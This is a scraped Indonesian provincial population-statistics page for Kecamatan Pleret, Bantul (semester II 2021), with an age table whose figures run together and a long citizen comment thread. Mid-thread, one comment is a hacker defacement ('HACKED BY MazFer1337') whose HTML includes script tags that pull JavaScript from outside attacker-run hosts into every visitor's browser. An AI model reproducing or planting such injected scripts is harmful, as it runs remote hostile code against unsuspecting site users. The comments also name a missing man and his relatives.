Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PLERET, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWONOKROMOPLERETSEGOROYOSOBAWURANWONOLELOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun190166 356192138 330110108 2186172 1335254 106605 538 1.143
2 tahun108114 2229596 1916160 1214444 884335 78351 349 700
3 tahun105106 21111192 2037664 1405253 1053838 76382 353 735
4 tahun106107 213101106 2077078 1487139 1103934 73387 364 751
5 tahun11298 2109977 1767961 1404748 954324 67380 308 688
6 tahun95119 214100107 2076868 1365548 1034431 75362 373 735
7 tahun115116 231122125 2477273 1455137 882840 68388 391 779
8 tahun120125 24510999 2088558 1434459 1033743 80395 384 779
9 tahun117108 225120104 2247474 1486145 1064337 80415 368 783
10 tahun126122 248120106 2268572 1574844 924838 86427 382 809
11 tahun118117 23513289 2216273 1356058 1182942 71401 379 780
12 tahun137124 261118103 2218582 1676151 1124639 85447 399 846
13 tahun153138 291129130 2598273 1556966 1354658 104479 465 944
14 tahun127125 252110117 2277569 1445244 964635 81410 390 800
15 tahun126126 25210094 1947070 1405646 1023234 66384 370 754
16 tahun15092 24213096 2267153 1244942 913642 78436 325 761
17 tahun9679 1759997 1965756 1133931 702422 46315 285 600
18 tahun13699 23510894 2026368 1315853 1114517 62410 331 741
19 tahun108108 2168982 1717768 1455045 953242 74356 345 701
20 tahun10593 19897104 2016370 1335343 963242 74350 352 702
21 tahun113110 22311596 2118271 1534836 843328 61391 341 732
22 tahun9990 1899888 1865875 1334543 881924 43319 320 639
23 tahun9388 1818079 1596966 1354549 943130 61318 312 630
24 tahun97100 1979493 1877960 1394541 863639 75351 333 684
25 tahun105118 22380113 1936253 1154349 923338 71323 371 694
26 tahun116120 23610099 1995186 1374643 894336 79356 384 740
27 tahun13091 22110188 1896663 1293445 793838 76369 325 694
28 tahun116107 22310279 1816569 1344349 923527 62361 331 692
29 tahun103124 22799100 1995756 1135642 982931 60344 353 697
30 tahun112109 2218495 1798765 1524867 1153329 62364 365 729
31 tahun113112 22582117 1996365 1284737 842138 59326 369 695
32 tahun8395 17890101 1916764 1314652 983532 67321 344 665
33 tahun10493 19771103 1746057 1174748 952941 70311 342 653
34 tahun11393 20694100 1946858 1264653 993230 62353 334 687
35 tahun93107 2008277 1595257 1093633 693035 65293 309 602
36 tahun122131 253113113 2266777 1444651 973645 81384 417 801
37 tahun112122 23495103 1987156 1276059 1193939 78377 379 756
38 tahun124111 235120123 2436969 1384944 934943 92411 390 801
39 tahun106134 240124117 2416677 1436751 1184540 85408 419 827
40 tahun128126 254132105 2375965 1246171 1324546 91425 413 838
41 tahun118112 23011293 2056470 1345237 893935 74385 347 732
42 tahun103104 207108107 2156488 1526657 1234144 85382 400 782
43 tahun119117 236113111 2248777 1644553 983931 70403 389 792
44 tahun116112 22810793 2009179 1704054 944328 71397 366 763
45 tahun104113 217126123 2498164 1455259 1114139 80404 398 802
46 tahun123123 246113130 2437472 1464957 1064237 79401 419 820
47 tahun100100 2009399 1929884 1825139 903342 75375 364 739
48 tahun106108 21411595 2107873 1514536 814035 75384 347 731
49 tahun106105 211111111 2225572 1274845 933936 75359 369 728
50 tahun9998 1977392 1656367 1304436 802434 58303 327 630
51 tahun13395 22888103 1917953 1325041 914126 67391 318 709
52 tahun109107 21611380 1934761 1085247 993336 69354 331 685
53 tahun112120 2328085 1656058 1184942 914443 87345 348 693
54 tahun9185 1766973 1425349 1023037 672726 53270 270 540
55 tahun8174 1557092 1625647 1033734 713139 70275 286 561
56 tahun10792 1999194 1856776 1433148 792429 53320 339 659
57 tahun7981 1605466 1204341 843933 722725 52242 246 488
58 tahun7275 1475983 1425035 853820 583118 49250 231 481
59 tahun7486 1608075 1554447 912834 622117 38247 259 506
60 tahun6163 1245252 1043428 623425 592824 52209 192 401
61 tahun7283 15580101 1815959 1182440 642631 57261 314 575
62 tahun7261 1336161 1223233 653322 552318 41221 195 416
63 tahun5568 1236056 1163837 752523 482518 43203 202 405
64 tahun6037 975347 1001929 481722 391520 35164 155 319
65 tahun5056 1064053 932826 542323 461817 35159 175 334
66 tahun5058 1086463 1275051 1012932 611810 28211 214 425
67 tahun4445 895157 1082920 493523 581215 27171 160 331
68 tahun3633 694129 702222 442120 411112 23131 116 247
69 tahun4226 684234 761523 382611 37912 21134 106 240
70 tahun3429 633222 54914 231413 271315 28102 93 195
71 tahun2544 693645 813034 641218 301819 37121 160 281
72 tahun1918 371814 321017 271011 211411 2571 71 142
73 tahun2035 552423 471315 281115 26812 2076 100 176
74 tahun1421 352119 4086 14912 21713 2059 71 130
75 tahun1921 401314 271212 24713 20819 2759 79 138
76 tahun1729 462227 491314 271111 221021 3173 102 175
77 tahun1013 23820 28610 16614 20510 1535 67 102
78 tahun1322 3578 15116 17513 18710 1743 59 102
79 tahun819 272526 511413 27612 1897 1662 77 139
80 ke atas50104 15457101 1584581 1264280 1225554 109249 420 669
Jumlah7.3557.25514.6106.8196.72213.5414.5544.4709.0243.2853.1936.4782.4732.4444.917 24.486 24.084 48.570
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih